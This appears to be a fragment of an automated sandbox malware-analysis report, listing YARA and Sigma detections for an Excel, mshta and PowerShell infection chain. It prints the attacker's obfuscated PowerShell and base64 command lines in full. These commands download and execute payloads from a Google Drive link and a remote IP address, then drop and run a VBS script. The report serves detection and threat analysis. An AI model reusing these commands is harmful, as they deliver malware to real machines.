Process Memory Space: powershell.exe PID: 3560	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3560	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2edb:$b2: ::FromBase64String( 0x3d8c:$b2: ::FromBase64String( 0x51f2:$b2: ::FromBase64String( 0x5693:$b2: ::FromBase64String( 0x5af6:$b2: ::FromBase64String( 0x2533c:$b2: ::FromBase64String( 0x25989:$b2: ::FromBase64String( 0x2ca18:$b2: ::FromBase64String( 0x2d1e9:$b2: ::FromBase64String( 0x2d841:$b2: ::FromBase64String( 0x2f29a:$b2: ::FromBase64String( 0x2f8e7:$b2: ::FromBase64String( 0x528cd:$b2: ::FromBase64String( 0x52ef4:$b2: ::FromBase64String( 0x60709:$b2: ::FromBase64String( 0x60d57:$b2: ::FromBase64String( 0x61f07:$b2: ::FromBase64String( 0x6671d:$b2: ::FromBase64String( 0x6f928:$b2: ::FromBase64String( 0x3b55:$b3: ::UTF8.GetString( 0x4fef:$b3: ::UTF8.GetString(

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2Fy

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3208, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethebestthingstobegoodwithhislifebestthigns[1].hta

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) |. ((GET-vaRIaBLe '*mdr*').naME[3,11,2]-JoIN'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0T

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) |. ((GET-vaRIaBLe '*mdr*').naME[3,11,2]-JoIN'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0T

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3568, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" , ProcessId: 3864, ProcessName: wscript.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))", CommandLine: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgI

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 3208, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 3484, ProcessName: mshta.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3568, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE, ProcessId: 3676, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; 